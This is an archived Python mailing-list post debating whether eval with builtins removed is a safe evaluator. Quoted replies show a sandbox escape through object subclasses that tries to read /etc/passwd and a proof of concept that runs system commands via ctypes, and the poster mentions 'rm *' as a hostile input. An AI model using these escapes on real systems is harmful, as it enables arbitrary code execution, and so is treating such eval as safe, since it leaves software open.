Simple and safe evaluator
bvdp
bob at mellowood.ca
Thu Jun 12 13:51:31 EDT 2008
Matimus wrote:
> On Jun 11, 9:16 pm, George Sakkis <george.sak... at gmail.com> wrote:
>> On Jun 11, 8:15 pm, bvdp <b... at mellowood.ca> wrote:
>>
>>
>>
>>> Matimus wrote:
>>>> The solution I posted should work and is safe. It may not seem very
>>>> readable, but it is using Pythons internal parser to parse the passed
>>>> in string into an abstract symbol tree (rather than code). Normally
>>>> Python would just use the ast internally to create code. Instead I've
>>>> written the code to do that. By avoiding anything but simple operators
>>>> and literals it is guaranteed safe.
>>> Just wondering ... how safe would:
>>> eval(s, {"__builtins__":None}, {} )
>>> be? From my testing it seems that it parses out numbers properly (int
>>> and float) and does simple math like +, -, **, etc. It doesn't do
>>> functions like int(), sin(), etc ... but that is fine for my puposes.
>>> Just playing a bit, it seems to give the same results as your code using
>>> ast does. I may be missing something!
>> Probably you do; within a couple of minutes I came up with this:
>>
>>>>> s = """
>> ... (t for t in 42 .__class__.__base__.__subclasses__()
>> ... if t.__name__ == 'file').next()('/etc/passwd')
>> ... """>>> eval(s, {"__builtins__":None}, {} )
>>
>> Traceback (most recent call last):
>> File "<stdin>", line 1, in <module>
>> File "<string>", line 3, in <module>
>> IOError: file() constructor not accessible in restricted mode
>>
>> Not an exploit yet but I wouldn't be surprised if there is one. Unless
>> you fully trust your users, an ast-based approach is your best bet.
>>
>> George
>
> You can get access to any new-style class that has been loaded. This
> exploit works on my machine (Windows XP).
>
> [code]
> # This assumes that ctypes was loaded, but keep in mind any classes
> # that have been loaded are potentially accessible.
>
> import ctypes
>
> s = """
> (
> t for t in 42 .__class__.__base__.__subclasses__()
> if t.__name__ == 'LibraryLoader'
> ).next()(
> (
> t for t in 42 .__class__.__base__.__subclasses__()
> if t.__name__ == 'CDLL'
> ).next()
> ).msvcrt.system('dir') # replace 'dir' with something nasty
> """
>
> eval(s, {"__builtins__":None}, {})
> [/code]
>
> Matt
Yes, this is probably a good point. But, I don't see this as an exploit
in my program. Again, I could be wrong ... certainly not the first time
that has happened :)
In my case, the only way a user can use eval() is via my own parsing
which restricts this to a limited usage. So, the code setting up the
eval() exploit has to be entered via the "safe" eval to start with. So,
IF the code you present can be installed from within my program's
scripts ... then yes there can be a problem. But for the life of me I
don't see how this is possible. In my program we're just looking at
single lines in a script and doing commands based on the text.
Setting/evaluating macros is one "command" and I just want a method to
do something like "Set X 25 * 2" and passing the "25 * 2" string to
python works. If the user creates a script with "Set X os.system('rm
*')" and I used a clean eval() then we could have a meltdown ... but if
we stick with the eval(s, {"__builtins__":None}, {}) I don't see how the
malicious script could do the class modifications you suggest.
I suppose that someone could modify my program code and then cause my
eval() to fail (be unsafe). But, if we count on program modifications to
be doorways to exploits then we might as well just pull the plug.
Bob.
More information about the Python-list
mailing list